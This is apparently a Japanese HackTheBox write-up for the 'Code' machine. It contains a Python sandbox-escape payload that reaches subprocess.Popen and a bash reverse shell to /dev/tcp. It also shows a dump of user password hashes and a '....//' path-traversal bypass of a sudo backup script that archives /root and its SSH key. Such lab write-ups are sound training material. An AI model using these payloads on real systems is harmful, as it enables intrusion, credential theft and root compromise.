はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Codeです。
Codeでは、Pythonで開発されたアプリケーションのサニタイジングに関する脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-16 22:35 JST
Nmap scan report for 10.10.11.62
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.14 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて5000番ポートにHTTPアクセスすると、以下の様な画面が表示されます。
Codeは、ブラウザで直接Python コードを実行可能なPython code editorとして機能するアプリケーションです。
5000番ポートを使用していることからFlaskを使用しているのではないかと推測します。
脆弱性分析
アプリケーションの機能を踏まえて、サニタイジングが適切に行われていない可能性を考えます。
試しにOS
モジュールのインポートを試したところ、モジュールのインポートなどは制限されていました。
アプリケーションを動かしているPythonを調査するため、以下のようなコードを実行します。
print((()).__class__.__bases__[0].__subclasses__())
全ての結果は出力できていませんが、objectクラスを継承しているクラスに関する情報が確認できました。
この中からsubprocess.Popen
のインデックスを確認するため、以下のコードを実行したところ、Popenのキーワードは許可されていないことが確認できます。
for i, c in enumerate((()).__class__.__bases__[0].__subclasses__()):
if c.__name__ == 'Popen':
print(i, c)
少しコードを修正することで、subprocess.Popen
のインデックスを知ることができました。
for i, c in enumerate((()).__class__.__bases__[0].__subclasses__()):
if 'pen' in c.__name__:
print(i, c)
システムハッキング
上記で確認できたsubprocess.Popen
を利用して足場を作ります。
アクセスの獲得
Pythonで開発されたWebアプリケーションやインタラクティブなツールでは、エラーが発生した場合に、try...except
でハンドリングしていない例外をキャッチし、そのままstr(e)
で例外オブジェクトをユーザに表示することがあります。
従ってExceptionをそのままレスポンスとして返すことが考えられる場合、任意の出力をアプリケーションに行うことができます。
リスナーを用意した状態で、以下のコードを実行します。
raise Exception(str((()) .__class__.__bases__[0].__subclasses__()[317](
"bash -c 'bash -i >& /dev/tcp/REDACTED/4444 0>&1'", shell=True, stdout=-1).communicate()))
リバースシェルが取得できました。
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.62] 55814
bash: cannot set terminal process group (20960): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$
ユーザーフラグ
リバースシェル取得後のカレントディレクトリは以下のディレクトリです。
/home/app-production/app
1つ上のディレクトリに移動したところ、ユーザーフラグが確認できました。
total 8
drwxrwxr-x 6 app-production app-production 4096 Aug 1 14:22 app
-rw-r----- 1 root app-production 33 Aug 1 10:15 user.txt
ルートフラグ
ユーザーフラグは取得できたものの、リバースシェルの状態なため、横展開を行うにあたり他のユーザーの認証情報を探します。
/home/app-production/app
ディレクトリに戻り、ディレクトリ配下を確認します。
total 24
-rw-r--r-- 1 app-production app-production 5230 Feb 20 12:07 app.py
drwxr-xr-x 2 app-production app-production 4096 Aug 1 14:47 instance
drwxr-xr-x 2 app-production app-production 4096 Feb 20 12:07 __pycache__
drwxr-xr-x 3 app-production app-production 4096 Aug 27 2024 static
drwxr-xr-x 2 app-production app-production 4096 Feb 20 10:36 templates
instance
ディレクトリに移動すると、データベースファイルを発見しました。
total 16
-rw-r--r-- 1 app-production app-production 16384 Aug 1 14:50 database.db
以下のコマンドを実行して、データベースに接続します。
$ sqlite3 database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>
テーブル情報を確認します。
sqlite> .tables
code user
ヘッダーを設定して見やすいように整えます。
sqlite> .header on
sqlite> .mode column
user
テーブルを確認したところ、以下のユーザーに関する認証情報が確認できました。
sqlite> SELECT * FROM USER;
id username password
---------- ----------- --------------------------------
1 development 759b74ce43947f5f4c91aeddc3e5bad3
2 martin REDACTED
パスワードはMD5でハッシュ化されているため、デコードを行います。
martinユーザーのパスワードを使用して、SSHログインができました。
sudoの設定を確認すると、/usr/bin/backy.sh
スクリプトが設定されていることが確認できます。
$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
/usr/bin/backy.sh
スクリプトの中身を確認します。
$ cat /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
このスクリプトは、指定されたJSONファイル内のディレクトリパスの検証を行い、安全なものだけをバックアップツールに渡す処理をしています。また、sudoで実行することで、制限されたファイルにアクセスできます。
task.json
ファイルを以下のように修正します。
{
"destination": "/home/martin/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/var/....//root/"
]
}
スクリプトを実行します。
$ sudo /usr/bin/backy.sh backups/task.json
2025/04/16 14:05:37 🍀 backy 1.2
2025/04/16 14:05:37 📋 Working with backups/task.json ...
2025/04/16 14:05:37 💤 Nothing to sync
2025/04/16 14:05:37 📤 Archiving: [/var/../root]
2025/04/16 14:05:37 📥 To: /home/martin ...
2025/04/16 14:05:37 📦
destination
で指定したディレクトリにバックアップが作成されたことを確認します。
total 56
drwxr-x--- 6 martin martin 4096 Apr 16 14:05 ./
drwxr-xr-x 4 root root 4096 Aug 27 2024 ../
drwxr-xr-x 3 martin martin 4096 Apr 16 14:05 backups/
lrwxrwxrwx 1 root root 9 Aug 27 2024 .bash_history -> /dev/null
-rw-r--r-- 1 martin martin 220 Aug 27 2024 .bash_logout
-rw-r--r-- 1 martin martin 3771 Aug 27 2024 .bashrc
drwx------ 2 martin martin 4096 Apr 16 14:00 .cache/
-rw-r--r-- 1 root root 173 Apr 16 13:52 code_home_app-production_user.txt_2025_April.tar.bz2
-rw-r--r-- 1 root root 12891 Apr 16 14:05 code_var_.._root_2025_April.tar.bz2
drwxrwxr-x 3 martin martin 4096 Apr 16 12:00 .local/
-rw-r--r-- 1 martin martin 807 Aug 27 2024 .profile
lrwxrwxrwx 1 root root 9 Aug 27 2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Aug 27 2024 .sqlite_history -> /dev/null
drwx------ 2 martin martin 4096 Sep 16 2024 .ssh/
以下のコマンドを実行して、バックアップファイルを展開します。
$ tar xvjf code_var_.._root_2025_April.tar.bz2
root/
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
root/.selected_editor
root/.sqlite_history
root/.profile
root/scripts/
root/scripts/cleanup.sh
root/scripts/backups/
root/scripts/backups/task.json
root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
root/scripts/database.db
root/scripts/cleanup2.sh
root/.python_history
root/root.txt
root/.cache/
root/.cache/motd.legal-displayed
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.bash_history
root/.bashrc
ルートフラグ確認できます。
martin@code:~$ ll root/root.txt
-rw-r----- 1 martin martin 33 Apr 16 11:53 root/root.txt
おわりに
ユーザーフラグ及びルートフラグについて、サニタイジング及びバリデーションの重要性について学びました。